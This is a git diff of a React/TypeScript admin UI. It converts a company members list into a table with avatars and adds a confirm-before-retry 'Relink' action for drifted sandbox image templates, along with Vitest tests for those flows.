       )}
 
       <section className="space-y-4">
-        <div className="space-y-1">
-          <div className="flex items-center gap-2">
-            <Users className="h-4 w-4 text-muted-foreground" />
-            <h2 className="text-base font-semibold">Humans</h2>
-          </div>
-          <p className="max-w-3xl text-sm text-muted-foreground">
-            Manage human company memberships and status here.
-          </p>
-        </div>
-
         {access?.canApproveJoinRequests && pendingHumanJoinRequests.length > 0 ? (
-          <div className="space-y-3 rounded-xl border border-border px-4 py-4">
+          <div className="space-y-3">
             <div className="flex flex-wrap items-center justify-between gap-2">
               <div>
                 <h3 className="text-sm font-semibold">Pending human joins</h3>
@@ -309,62 +292,79 @@ export function CompanyAccess() {
           </div>
         ) : null}
 
-        <div className="overflow-hidden rounded-xl border border-border">
-          <div className="grid grid-cols-(--gtc-24) gap-3 border-b border-border px-4 py-3 text-xs font-medium uppercase tracking-wide text-muted-foreground">
-            <div>User account</div>
-            <div>Role</div>
-            <div>Status</div>
-            <div className="text-right">Action</div>
-          </div>
-          {members.length === 0 ? (
-            <div className="px-4 py-8 text-sm text-muted-foreground">No user memberships found for this company yet.</div>
-          ) : (
-            members.map((member) => {
-              const removalReason = member.removal?.reason ?? null;
-              const canArchive = member.removal?.canArchive ?? true;
-              return (
-                <div
-                  key={member.id}
-                  className="grid grid-cols-(--gtc-24) gap-3 border-b border-border px-4 py-3 last:border-b-0"
-                >
-                  <div className="min-w-0">
-                    <div className="truncate font-medium">{member.user?.name?.trim() || member.user?.email || member.principalId}</div>
-                    <div className="truncate text-xs text-muted-foreground">{member.user?.email || member.principalId}</div>
-                  </div>
-                  <div className="text-sm">
-                    {member.membershipRole
-                      ? HUMAN_COMPANY_MEMBERSHIP_ROLE_LABELS[member.membershipRole]
-                      : "Unset"}
-                  </div>
-                  <div>
-                    <Badge variant={member.status === "active" ? "secondary" : member.status === "suspended" ? "destructive" : "outline"}>
-                      {member.status.replace("_", " ")}
-                    </Badge>
-                  </div>
-                  <div className="space-y-1 text-right">
-                    <div className="flex justify-end gap-2">
-                      <Button size="sm" variant="outline" onClick={() => setEditingMemberId(member.id)}>
-                        Edit
-                      </Button>
-                      <Button
-                        size="sm"
-                        variant="outline"
-                        onClick={() => setRemovingMemberId(member.id)}
-                        disabled={!canArchive}
-                        title={removalReason ?? undefined}
-                      >
-                        <Trash2 className="mr-1 h-3.5 w-3.5" />
-                        Remove
-                      </Button>
-                    </div>
-                    {removalReason ? (
-                      <div className="text-xs text-muted-foreground">{removalReason}</div>
-                    ) : null}
-                  </div>
-                </div>
-              );
-            })
-          )}
+        <div className="overflow-x-auto">
+          <table className="w-full min-w-(--sz-44rem) text-left text-sm">
+            <thead>
+              <tr className="border-b border-border text-muted-foreground">
+                <th className="px-3 py-2 font-medium">Name</th>
+                <th className="px-3 py-2 font-medium">Email</th>
+                <th className="px-3 py-2 font-medium">Role</th>
+                <th className="px-3 py-2 font-medium">Status</th>
+                <th className="px-3 py-2 text-right font-medium">Action</th>
+              </tr>
+            </thead>
+            <tbody>
+              {members.length === 0 ? (
+                <tr>
+                  <td colSpan={5} className="px-3 py-8 text-muted-foreground">
+                    No user memberships found for this company yet.
+                  </td>
+                </tr>
+              ) : members.map((member) => {
+                const removalReason = member.removal?.reason ?? null;
+                const canArchive = member.removal?.canArchive ?? true;
+                const displayName = memberDisplayName(member);
+                return (
+                  <tr key={member.id} className="border-b border-border last:border-b-0">
+                    <td className="px-3 py-3">
+                      <div className="flex min-w-0 items-center gap-2.5">
+                        <Avatar size="sm">
+                          {member.user?.image ? <AvatarImage src={member.user.image} alt={displayName} /> : null}
+                          <AvatarFallback>{memberInitials(member)}</AvatarFallback>
+                        </Avatar>
+                        <span className="truncate font-medium">{displayName}</span>
+                      </div>
+                    </td>
+                    <td className="px-3 py-3 text-muted-foreground">
+                      {member.user?.email || member.principalId}
+                    </td>
+                    <td className="px-3 py-3">
+                      {member.membershipRole
+                        ? HUMAN_COMPANY_MEMBERSHIP_ROLE_LABELS[member.membershipRole]
+                        : "Unset"}
+                    </td>
+                    <td className="px-3 py-3">
+                      <Badge variant={member.status === "active" ? "secondary" : member.status === "suspended" ? "destructive" : "outline"}>
+                        {member.status.replace("_", " ")}
+                      </Badge>
+                    </td>
+                    <td className="px-3 py-3 text-right">
+                      <div className="flex justify-end gap-2">
+                        <Button size="sm" variant="outline" onClick={() => setEditingMemberId(member.id)}>
+                          Edit
+                        </Button>
+                        <span
+                          className="inline-flex"
+                          title={!canArchive ? removalReason ?? undefined : undefined}
+                        >
+                          <Button
+                            size="sm"
+                            variant="outline"
+                            onClick={() => setRemovingMemberId(member.id)}
+                            disabled={!canArchive}
+                            title={!canArchive ? removalReason ?? undefined : undefined}
+                          >
+                            <Trash2 className="mr-1 h-3.5 w-3.5" />
+                            Remove
+                          </Button>
+                        </span>
+                      </div>
+                    </td>
+                  </tr>
+                );
+              })}
+            </tbody>
+          </table>
         </div>
       </section>
 
@@ -588,6 +588,15 @@ function memberDisplayName(member: CompanyMember | null) {
   return member.user?.name?.trim() || member.user?.email || member.principalId;
 }
 
+function memberInitials(member: CompanyMember) {
+  const value = memberDisplayName(member).trim();
+  const parts = value.split(/\s+/).filter(Boolean);
+  if (parts.length > 1) {
+    return `${parts[0]?.[0] ?? ""}${parts.at(-1)?.[0] ?? ""}`.toUpperCase();
+  }
+  return value.slice(0, 2).toUpperCase();
+}
+
 function isAssignableAgent(agent: Agent) {
   return agent.status !== "terminated" && agent.status !== "pending_approval";
 }
@@ -620,7 +629,7 @@ function PendingJoinRequestCard({
   onReject: () => void;
 }) {
   return (
-    <div className="rounded-xl border border-border px-4 py-4">
+    <div className="py-3">
       <div className="flex flex-wrap items-start justify-between gap-4">
         <div className="space-y-2">
           <div>
diff --git a/ui/src/pages/CompanyEnvironments.test.tsx b/ui/src/pages/CompanyEnvironments.test.tsx
index cd8a7e52b06..1875aaa4484 100644
--- a/ui/src/pages/CompanyEnvironments.test.tsx
+++ b/ui/src/pages/CompanyEnvironments.test.tsx
@@ -6,6 +6,7 @@ import { MemoryRouter, Route, Routes } from "react-router-dom";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { TooltipProvider } from "@/components/ui/tooltip";
 import { CompanyEnvironments } from "./CompanyEnvironments";
+import { ApiError } from "@/api/client";
 
 const xtermMocks = vi.hoisted(() => {
   class MockTerminal {
@@ -138,6 +139,7 @@ const mockEnvironmentsApi = vi.hoisted(() => ({
   finishCustomImageSetupSession: vi.fn(),
   cancelCustomImageSetupSession: vi.fn(),
   rollbackCustomImageTemplate: vi.fn(),
+  relinkCustomImageTemplate: vi.fn(),
   disableCustomImageTemplate: vi.fn(),
 }));
 const mockInstanceSettingsApi = vi.hoisted(() => ({
@@ -432,6 +434,10 @@ describe("CompanyEnvironments — test provider button", () => {
       activeTemplate: createTemplate({ id: "template-previous" }),
       supersededTemplate: createTemplate({ id: "template-current", status: "superseded" }),
     });
+    mockEnvironmentsApi.relinkCustomImageTemplate.mockResolvedValue({
+      template: createTemplate({ id: "template-relinked" }),
+      classification: "knob_only",
+    });
     mockEnvironmentsApi.disableCustomImageTemplate.mockResolvedValue(
       createTemplate({ status: "revoked" }),
     );
@@ -625,7 +631,7 @@ describe("CompanyEnvironments — test provider button", () => {
     await flushReact();
 
     await act(async () => {
-      click(findAction(container, "Add environment"));
+      click(container.querySelector('[aria-label="Add environment"]'));
     });
 
     await waitForAssertion(() => {
@@ -1310,6 +1316,65 @@ describe("CompanyEnvironments — test provider button", () => {
     });
   });
 
+  it("names the changed boot-source field in the out-of-sync banner for a boot-source drift", async () => {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockEnvironmentsApi.list.mockResolvedValue([
+      { id: "env-1", name: "Daytona", driver: "sandbox", description: null, config: { provider: "daytona" } },
+    ]);
+    mockEnvironmentsApi.capabilities.mockResolvedValue(supportedDaytonaCapabilities());
+    mockEnvironmentsApi.customImageTemplate.mockResolvedValue({
+      activeTemplate: createTemplate({ id: "template-active" }),
+      activeTemplateMatchesConfig: false,
+      activeTemplateDrift: {
+        classification: "boot_source_drift",
+        driftedPaths: [{ path: "snapshot", from: "a", to: "b" }],
+      },
+      activeSession: null,
+      latestSession: null,
+    });
+
+    await act(async () => {
+      root!.render(renderCompanyEnvironments(queryClient));
+    });
+    await flushReact();
+
+    await act(async () => click(editButtons(container)[0]));
+    await waitForAssertion(() => {
+      const dialog = getEnvironmentFormPage()!;
+      expect(dialog.textContent).toContain("Not in use — Base image changed: snapshot `a` -> `b`");
+      expect(dialog.textContent).not.toContain("the environment configuration changed");
+    });
+  });
+
+  it("keeps the generic out-of-sync banner for an unclassified drift", async () => {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockEnvironmentsApi.list.mockResolvedValue([
+      { id: "env-1", name: "Daytona", driver: "sandbox", description: null, config: { provider: "daytona" } },
+    ]);
+    mockEnvironmentsApi.capabilities.mockResolvedValue(supportedDaytonaCapabilities());
+    mockEnvironmentsApi.customImageTemplate.mockResolvedValue({
+      activeTemplate: createTemplate({ id: "template-active" }),
+      activeTemplateMatchesConfig: false,
+      activeTemplateDrift: { classification: "unclassified", driftedPaths: [{ path: "apiUrl" }] },
+      activeSession: null,
+      latestSession: null,
+    });
+
+    await act(async () => {
+      root!.render(renderCompanyEnvironments(queryClient));
+    });
+    await flushReact();
+
+    await act(async () => click(editButtons(container)[0]));
+    await waitForAssertion(() => {
+      const dialog = getEnvironmentFormPage()!;
+      expect(dialog.textContent).toContain("Not in use — the environment configuration changed");
+      expect(dialog.textContent).not.toContain("Base image changed");
+    });
+  });
+
   it("does not show the out-of-sync warning when the active template matches the saved config", async () => {
     root = createRoot(container);
     const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
@@ -1391,6 +1456,136 @@ describe("CompanyEnvironments — test provider button", () => {
     });
   });
 
+  function setupOutOfSyncTemplatePanel() {
+    mockEnvironmentsApi.list.mockResolvedValue([
+      { id: "env-1", name: "Daytona", driver: "sandbox", description: null, config: { provider: "daytona" } },
+    ]);
+    mockEnvironmentsApi.capabilities.mockResolvedValue({
+      adapters: [],
+      drivers: { local: "supported", ssh: "supported", sandbox: "supported", plugin: "unsupported" },
+      sandboxProviders: {
+        daytona: {
+          status: "supported",
+          supportsSavedProbe: true,
+          supportsUnsavedProbe: true,
+          supportsRunExecution: true,
+          supportsReusableLeases: true,
+          supportsInteractiveSetup: true,
+          interactiveSetupConnectionTypes: ["ssh"],
+          supportsTemplateCapture: true,
+          supportsTemplateDelete: true,
+          displayName: "Daytona",
+        },
+      },
+    });
+    mockEnvironmentsApi.customImageTemplate.mockResolvedValue({
+      activeTemplate: createTemplate({ id: "template-active" }),
+      activeTemplateMatchesConfig: false,
+      activeSession: null,
+      latestSession: null,
+    });
+  }
+
+  it("relinks an out-of-sync template and names both remedies in the copy", async () => {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    setupOutOfSyncTemplatePanel();
+
+    await act(async () => {
+      root!.render(renderCompanyEnvironments(queryClient));
+    });
+    await flushReact();
+
+    await act(async () => click(editButtons(container)[0]));
+    await waitForAssertion(() => {
+      const dialog = getEnvironmentFormPage()!;
+      expect(dialog.textContent).toContain("relink this image or capture a new one");
+      expect(findButton(dialog, "Relink")).toBeTruthy();
+    });
+
+    await act(async () => click(findButton(getEnvironmentFormPage()!, "Relink")));
+    await waitForAssertion(() => {
+      expect(mockEnvironmentsApi.relinkCustomImageTemplate).toHaveBeenCalledExactlyOnceWith("env-1", "company-1");
+    });
+  });
+
+  it("confirms boot-source drift before re-sending the relink with the flag", async () => {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    setupOutOfSyncTemplatePanel();
+    mockEnvironmentsApi.relinkCustomImageTemplate
+      .mockRejectedValueOnce(new ApiError("Confirm the relink.", 409, {
+        error: "Confirm the relink.",
+        details: {
+          classification: "boot_source_drift",
+          driftedPaths: [{ path: "image", from: "fake:base", to: "fake:other" }],
+        },
+      }))
+      .mockResolvedValueOnce({
+        template: createTemplate({ id: "template-relinked" }),
+        classification: "boot_source_drift",
+      });
+    const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);
+
+    try {
+      await act(async () => {
+        root!.render(renderCompanyEnvironments(queryClient));
+      });
+      await flushReact();
+      await act(async () => click(editButtons(container)[0]));
+      await waitForAssertion(() => {
+        expect(findButton(getEnvironmentFormPage()!, "Relink")).toBeTruthy();
+      });
+
+      await act(async () => click(findButton(getEnvironmentFormPage()!, "Relink")));
+      await waitForAssertion(() => {
+        expect(mockEnvironmentsApi.relinkCustomImageTemplate).toHaveBeenNthCalledWith(1, "env-1", "company-1");
+        expect(mockEnvironmentsApi.relinkCustomImageTemplate).toHaveBeenNthCalledWith(
+          2,
+          "env-1",
+          "company-1",
+          { confirmBootSourceDrift: true },
+        );
+      });
+      expect(confirmSpy).toHaveBeenCalledTimes(1);
+      expect(confirmSpy.mock.calls[0]![0]).toContain("image fake:base -> fake:other");
+    } finally {
+      confirmSpy.mockRestore();
+    }
+  });
+
+  it("does not re-send the relink when the operator declines the confirmation", async () => {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    setupOutOfSyncTemplatePanel();
+    mockEnvironmentsApi.relinkCustomImageTemplate.mockRejectedValueOnce(new ApiError("Cannot verify.", 409, {
+      error: "Cannot verify.",
+      details: { classification: "unclassified", driftedPaths: [{ path: "apiUrl" }] },
+    }));
+    const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
+
+    try {
+      await act(async () => {
+        root!.render(renderCompanyEnvironments(queryClient));
+      });
+      await flushReact();
+      await act(async () => click(editButtons(container)[0]));
+      await waitForAssertion(() => {
+        expect(findButton(getEnvironmentFormPage()!, "Relink")).toBeTruthy();
+      });
+
+      await act(async () => click(findButton(getEnvironmentFormPage()!, "Relink")));
+      await waitForAssertion(() => {
+        expect(confirmSpy).toHaveBeenCalledTimes(1);
+      });
+      expect(confirmSpy.mock.calls[0]![0]).toContain("cannot verify the boot source");
+      expect(mockEnvironmentsApi.relinkCustomImageTemplate).toHaveBeenCalledTimes(1);
+      expect(mockEnvironmentsApi.relinkCustomImageTemplate).toHaveBeenCalledWith("env-1", "company-1");
+    } finally {
+      confirmSpy.mockRestore();
+    }
+  });
+
   it("offers the implicit Local option in the default picker by default", async () => {
     root = createRoot(container);
     const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
diff --git a/ui/src/pages/CompanyEnvironments.tsx b/ui/src/pages/CompanyEnvironments.tsx
index f974caddf86..3a3667d2106 100644
--- a/ui/src/pages/CompanyEnvironments.tsx
+++ b/ui/src/pages/CompanyEnvironments.tsx
@@ -6,7 +6,7 @@ import {
   useState,
 } from "react";
 import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
-import { ArrowLeft, Check, Lock, Play, RefreshCw, RotateCcw, Terminal, Trash2, X } from "lucide-react";
+import { ArrowLeft, Check, Link2, Lock, Play, Plus, RefreshCw, RotateCcw, Terminal, Trash2, X } from "lucide-react";
 import { FitAddon } from "@xterm/addon-fit";
 import { Terminal as XTermTerminal } from "@xterm/xterm";
 import "@xterm/xterm/css/xterm.css";
@@ -20,10 +20,13 @@ import {
 } from "@paperclipai/shared";
 import {
   environmentsApi,
+  type EnvironmentCustomImageActiveTemplateDrift,
   type EnvironmentCustomImageConnectionPayload,
+  type EnvironmentCustomImageRelinkConflict,
   type EnvironmentCustomImageSetupSessionResult,
   type EnvironmentUpdateResult,
 } from "@/api/environments";
+import { ApiError } from "@/api/client";
 import { instanceSettingsApi } from "@/api/instanceSettings";
 import { secretsApi } from "@/api/secrets";
 import { Button } from "@/components/ui/button";
@@ -40,7 +43,7 @@ import {
 import { useBreadcrumbs } from "@/context/BreadcrumbContext";
 import { useCompany } from "@/context/CompanyContext";
 import { useToast } from "@/context/ToastContext";
-import { isPlatformManagedEnvironment } from "@/lib/managed-sandbox-environment";
+import { environmentDisplayLabel, isPlatformManagedEnvironment } from "@/lib/managed-sandbox-environment";
 import { queryKeys } from "@/lib/queryKeys";
 import { Link, useNavigate, useParams } from "@/lib/router";
 import { buildSameOriginWebSocketUrl } from "@/lib/websocket-url";
@@ -288,6 +291,33 @@ function formatShortId(value: string): string {
   return `${normalized.slice(0, 12)}…`;
 }
 
+function formatBootSourceDriftValue(value: unknown): string {
+  if (typeof value === "string") return value;
+  if (value === null || value === undefined) return "none";
+  return JSON.stringify(value);
+}
+
+/**
+ * Builds the drift summary for a `boot_source_drift` overview. It names each
+ * changed boot-source field with its `from` and `to` values (example: "snapshot
+ * `a` -> `b`"). It uses only value-bearing paths; an excluded path carries the
+ * name only, so the summary omits it. Returns `null` when no value-bearing path
+ * is present, so the banner keeps the generic text.
+ */
+function formatBootSourceDriftSummary(
+  drift: EnvironmentCustomImageActiveTemplateDrift | null | undefined,
+): string | null {
+  if (!drift || drift.classification !== "boot_source_drift") return null;
+  const parts = drift.driftedPaths
+    .filter((entry) => "from" in entry || "to" in entry)
+    .map(
+      (entry) =>
+        `${entry.path} \`${formatBootSourceDriftValue(entry.from)}\` -> \`${formatBootSourceDriftValue(entry.to)}\``,
+    );
+  if (parts.length === 0) return null;
+  return `Base image changed: ${parts.join("; ")}`;
+}
+
 function readConnectionCommand(payload: EnvironmentCustomImageConnectionPayload | null | undefined): string | null {
   return typeof payload?.command === "string" && payload.command.trim().length > 0
     ? payload.command
@@ -761,6 +791,37 @@ function sessionStatusCopy(status: EnvironmentCustomImageSetupSession["status"])
   }
 }
 
+// The operator declined the drift confirmation prompt. It is not a failure, so
+// the relink mutation stays quiet instead of showing an error toast.
+class RelinkConfirmationDeclined extends Error {
+  constructor() {
+    super("relink confirmation declined");
+    this.name = "RelinkConfirmationDeclined";
+  }
+}
+
+function formatRelinkDriftValue(value: unknown): string {
+  if (value === null || value === undefined) return "(none)";
+  if (typeof value === "string") return value;
+  return JSON.stringify(value);
+}
+
+// Turns the sanitized 409 drift body into the operator warning. Value-bearing
+// drift shows the changed field; an unclassified result warns that the snapshot
+// will override the current base image.
+function relinkDriftWarning(conflict: EnvironmentCustomImageRelinkConflict): string {
+  if (conflict.classification === "boot_source_drift") {
+    const valued = conflict.driftedPaths.find(
+      (entry) => entry.from !== undefined || entry.to !== undefined,
+    );
+    if (valued) {
+      return `The base image changed: ${valued.path} ${formatRelinkDriftValue(valued.from)} -> ${formatRelinkDriftValue(valued.to)}.`;
+    }
+    return "The base image changed since this image was captured.";
+  }
+  return "The server cannot verify the boot source; the snapshot will override the current base image.";
+}
+
 function EnvironmentImageTemplatePanel({
   environment,
   companyId,
@@ -909,6 +970,50 @@ function EnvironmentImageTemplatePanel({
     },
   });
 
+  const relinkTemplateMutation = useMutation({
+    // The route is called without the flag first. A 409 carries the sanitized
+    // drift detail; the operator must confirm before the flagged retry.
+    mutationFn: async () => {
+      try {
+        return await environmentsApi.relinkCustomImageTemplate(environment.id, companyId);
+      } catch (error) {
+        if (error instanceof ApiError && error.status === 409) {
+          const conflict = (error.body as { details?: EnvironmentCustomImageRelinkConflict } | null)?.details;
+          const warning = conflict ? relinkDriftWarning(conflict) : error.message;
+          if (!window.confirm(`${warning}\n\nRelink this image anyway?`)) {
+            throw new RelinkConfirmationDeclined();
+          }
+          return await environmentsApi.relinkCustomImageTemplate(environment.id, companyId, {
+            confirmBootSourceDrift: true,
+          });
+        }
+        throw error;
+      }
+    },
+    onSuccess: (result) => {
+      queryClient.setQueryData(overviewKey, (current: typeof overviewQuery.data) => ({
+        activeTemplate: result.template,
+        activeTemplateMatchesConfig: true,
+        activeSession: current?.activeSession ?? null,
+        latestSession: current?.latestSession ?? null,
+      }));
+      invalidateOverview();
+      pushToast({
+        title: "Template relinked",
+        body: "Runs use the captured image again.",
+        tone: "success",
+      });
+    },
+    onError: (error) => {
+      if (error instanceof RelinkConfirmationDeclined) return;
+      pushToast({
+        title: "Failed to relink template",
+        body: error instanceof Error ? error.message : "Relink failed.",
+        tone: "error",
+      });
+    },
+  });
+
   const disableTemplateMutation = useMutation({
     mutationFn: () => environmentsApi.disableCustomImageTemplate(environment.id, companyId),
     onSuccess: (template) => {
@@ -983,6 +1088,7 @@ function EnvironmentImageTemplatePanel({
     startSetupMutation.isPending ||
     finishSetupMutation.isPending ||
     cancelSetupMutation.isPending ||
+    relinkTemplateMutation.isPending ||
     rollbackTemplateMutation.isPending ||
     disableTemplateMutation.isPending;
 
@@ -1051,6 +1157,7 @@ function EnvironmentImageTemplatePanel({
   if (activeTemplate) {
     const templateRef = activeTemplate.templateRef?.trim() || null;
     const templateOutOfSync = overview?.activeTemplateMatchesConfig === false;
+    const bootSourceDriftSummary = formatBootSourceDriftSummary(overview?.activeTemplateDrift);
     return (
       <div className="mt-3 border-t border-border/60 pt-3" data-testid={`custom-image-template-state-${environment.id}`}>
         <div className="flex flex-wrap items-start justify-between gap-3">
@@ -1075,9 +1182,9 @@ function EnvironmentImageTemplatePanel({
                 className="text-xs text-destructive"
                 data-testid={`custom-image-template-out-of-sync-${environment.id}`}
               >
-                Not in use — the environment configuration changed since this image was
-                captured. Runs fall back to the base configuration until you capture a new
-                image.
+                {bootSourceDriftSummary
+                  ? `Not in use — ${bootSourceDriftSummary}. Runs fall back to the base configuration until you relink this image or capture a new one.`
+                  : "Not in use — the environment configuration changed since this image was captured. Runs fall back to the base configuration until you relink this image or capture a new one."}
               </div>
             ) : null}
           </div>
@@ -1091,6 +1198,16 @@ function EnvironmentImageTemplatePanel({
               <RefreshCw className="mr-1.5 h-3.5 w-3.5" />
               Refresh
             </Button>
+            <Button
+              size="sm"
+              variant="outline"
+              onClick={() => relinkTemplateMutation.mutate()}
+              disabled={isMutating}
+              data-testid={`custom-image-template-relink-${environment.id}`}
+            >
+              <Link2 className="mr-1.5 h-3.5 w-3.5" />
+              Relink
+            </Button>
             <Button
               size="sm"
               variant="ghost"
@@ -1168,7 +1285,6 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
   useEffect(() => {
     const crumbs = [
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       isEnvironmentFormPage
         ? { label: "Environments", href: ENVIRONMENTS_PATH }
         : { label: "Environments" },
@@ -1636,8 +1752,8 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
 
   if (!environmentsEnabled) {
     return (
-      <div className="max-w-3xl space-y-4">
-        <div className="rounded-md border border-border px-4 py-4 text-sm text-muted-foreground">
+      <div className="max-w-6xl space-y-4">
+        <div className="text-sm text-muted-foreground">
           Enable Environments in instance experimental settings to manage shared execution targets.
         </div>
       </div>
@@ -1645,17 +1761,16 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
   }
 
   return (
-    <div className="max-w-5xl space-y-6" data-testid="instance-settings-environments-section">
+    <div className="max-w-6xl space-y-6" data-testid="instance-settings-environments-section">
       {!isEnvironmentFormPage ? (
-      <div className="space-y-4 rounded-md border border-border px-4 py-4">
-        <div className="rounded-md border border-border/60 bg-muted/20 px-3 py-3">
-          <div className="flex flex-wrap items-start justify-between gap-3">
-            <div className="space-y-1">
-              <div className="text-sm font-medium">Default</div>
-            </div>
-            <div className="min-w-(--sz-18rem) flex-1">
+      <div className="space-y-4">
+        <div className="flex flex-wrap items-center justify-between gap-3">
+          <label className="flex flex-wrap items-center gap-3 text-sm font-medium">
+            <span>Default</span>
+            <span>
               <select
-                className="w-full rounded-md border border-border bg-transparent px-2.5 py-1.5 text-sm outline-none"
+                aria-label="Default environment"
+                className="min-w-(--sz-12rem) max-w-full rounded-md border border-border bg-transparent px-2.5 py-1.5 text-sm font-normal outline-none"
                 value={instanceDefaultEnvironmentId}
                 onChange={(event) =>
                   defaultEnvironmentMutation.mutate(event.target.value || null)}
@@ -1675,20 +1790,20 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
                 )}
                 {nonLocalEnvironments.map((environment) => (
                   <option key={environment.id} value={environment.id}>
-                    {environment.name} · {environment.driver}
+                    {environmentDisplayLabel(environment)}
                   </option>
                 ))}
               </select>
-            </div>
-          </div>
+            </span>
+          </label>
+          <Button size="icon-sm" variant="ghost" asChild>
+            <Link to={`${ENVIRONMENTS_PATH}/new`} aria-label="Add environment" title="Add environment">
+              <Plus className="h-4 w-4" />
+            </Link>
+          </Button>
         </div>
 
-        <div className="space-y-3">
-          <div className="flex justify-end">
-            <Button size="sm" asChild>
-              <Link to={`${ENVIRONMENTS_PATH}/new`}>Add environment</Link>
-            </Button>
-          </div>
+        <div className="space-y-1">
           {savedEnvironments.map((environment) => {
             const probe = probeResults[environment.id] ?? null;
             const sandboxProvider = readEnvironmentSandboxProvider(environment);
@@ -1700,16 +1815,19 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
             return (
               <div
                 key={environment.id}
-                className="rounded-md border border-border/70 px-3 py-3"
+                className="py-3"
               >
                 <div className="flex flex-wrap items-start justify-between gap-3">
                   <div className="space-y-1">
                     <div className="flex flex-wrap items-center gap-2 text-sm font-medium">
                       <span>
-                        {environment.name} <span className="text-muted-foreground">· {environment.driver}</span>
+                        {environment.name}
+                        {isPlatformManagedEnvironment(environment) ? null : (
+                          <span className="text-muted-foreground"> · {environment.driver}</span>
+                        )}
                       </span>
                       {isPlatformManagedEnvironment(environment) ? (
-                        <span className="inline-flex items-center gap-1 rounded-full border border-border/70 px-2 py-0.5 text-xs font-normal text-muted-foreground">
+                        <span className="inline-flex items-center gap-1 rounded-full bg-muted px-2 py-0.5 text-xs font-normal text-muted-foreground">
                           <Lock className="h-3 w-3" aria-hidden />
                           Managed by Paperclip
                         </span>
@@ -1727,6 +1845,13 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
                       <div className="text-xs text-muted-foreground">
                         {(() => {
                           const summary = summarizeSandboxConfig(environment.config as Record<string, unknown>);
+                          // The managed row's badge already says "Managed by
+                          // Paperclip"; repeating provider vocabulary like
+                          // "sandbox provider" next to the default environment
+                          // is noise the product avoids.
+                          if (isPlatformManagedEnvironment(environment)) {
+                            return summary ?? "Provisioned and maintained for you.";
+                          }
                           return `${sandboxProviderDisplayName} sandbox provider${summary ? ` · ${summary}` : ""}`;
                         })()}
                       </div>
@@ -1758,8 +1883,8 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
                   <div
                     className={
                       probe.ok
-                        ? "mt-3 rounded border border-green-500/30 bg-green-500/5 px-2.5 py-2 text-xs text-green-700"
-                        : "mt-3 rounded border border-destructive/30 bg-destructive/5 px-2.5 py-2 text-xs text-destructive"
+                        ? "mt-3 rounded bg-green-500/5 px-2.5 py-2 text-xs text-green-700"
+                        : "mt-3 rounded bg-destructive/5 px-2.5 py-2 text-xs text-destructive"
                     }
                   >
                     <div className="font-medium">{probe.summary}</div>
@@ -1776,13 +1901,13 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
       ) : null}
 
       {isEnvironmentFormPage && mode === "edit" && environments === undefined ? (
-        <div className="rounded-md border border-border px-4 py-4 text-sm text-muted-foreground">
+        <div className="text-sm text-muted-foreground">
           Loading environment...
         </div>
       ) : null}
 
       {isEnvironmentFormPage && mode === "edit" && environments !== undefined && !editingEnvironment ? (
-        <div className="space-y-3 rounded-md border border-border px-4 py-4 text-sm">
+        <div className="space-y-3 text-sm">
           <div className="font-medium">Environment not found</div>
           <div className="text-muted-foreground">The environment may have been removed or is not available in this company.</div>
           <Button size="sm" variant="outline" asChild>
@@ -1793,8 +1918,8 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
 
       {isEnvironmentFormPage && mode === "edit" && editingEnvironment && isPlatformManagedEnvironment(editingEnvironment) ? (
         <SecretRefHintsContext.Provider value={environmentSecretRefHints}>
-        <div className="rounded-md border border-border bg-background" data-testid="managed-environment-form-page">
-          <div className="border-b border-border/60 px-6 pb-4 pt-6">
+        <div data-testid="managed-environment-form-page">
+          <div className="pb-4">
             <div className="mb-4">
               <Button size="sm" variant="ghost" asChild>
                 <Link to={ENVIRONMENTS_PATH}>
@@ -1805,20 +1930,20 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
             </div>
             <div className="flex flex-wrap items-center gap-2">
               <h1 className="text-lg font-semibold">{editingEnvironment.name}</h1>
-              <span className="inline-flex items-center gap-1 rounded-full border border-border/70 px-2 py-0.5 text-xs text-muted-foreground">
+              <span className="inline-flex items-center gap-1 rounded-full bg-muted px-2 py-0.5 text-xs text-muted-foreground">
                 <Lock className="h-3 w-3" aria-hidden />
                 Managed by Paperclip
               </span>
             </div>
             <p className="mt-1 max-w-3xl text-sm text-muted-foreground">
-              {editingEnvironment.description ?? "Your agent runs in a sandbox managed by Paperclip."}
+              {editingEnvironment.description ?? "Your agent runs on a computer managed by Paperclip."}
             </p>
             <p className="mt-1 max-w-3xl text-xs text-muted-foreground">
               This environment is provisioned and maintained for you. You can add environment
               variables for your agents; its name and configuration are managed by Paperclip.
             </p>
           </div>
-          <div className="px-6 py-4">
+          <div className="py-4">
             <Field
               label="Environment variables"
               hint="Injected into runs that resolve through this environment. Use plain values or company secrets."
@@ -1841,7 +1966,7 @@ export function CompanyEnvironments({ mode = "list" }: CompanyEnvironmentsProps)
               </div>
             ) : null}
           </div>
-          <div className="flex flex-wrap justify-end gap-2 border-t border-border/60 bg-background px-6 py-4">
+          <div className="flex flex-wrap justify-end gap-2 py-4">
             <Button
               variant="outline"
               onClick={closeEnvironmentForm}
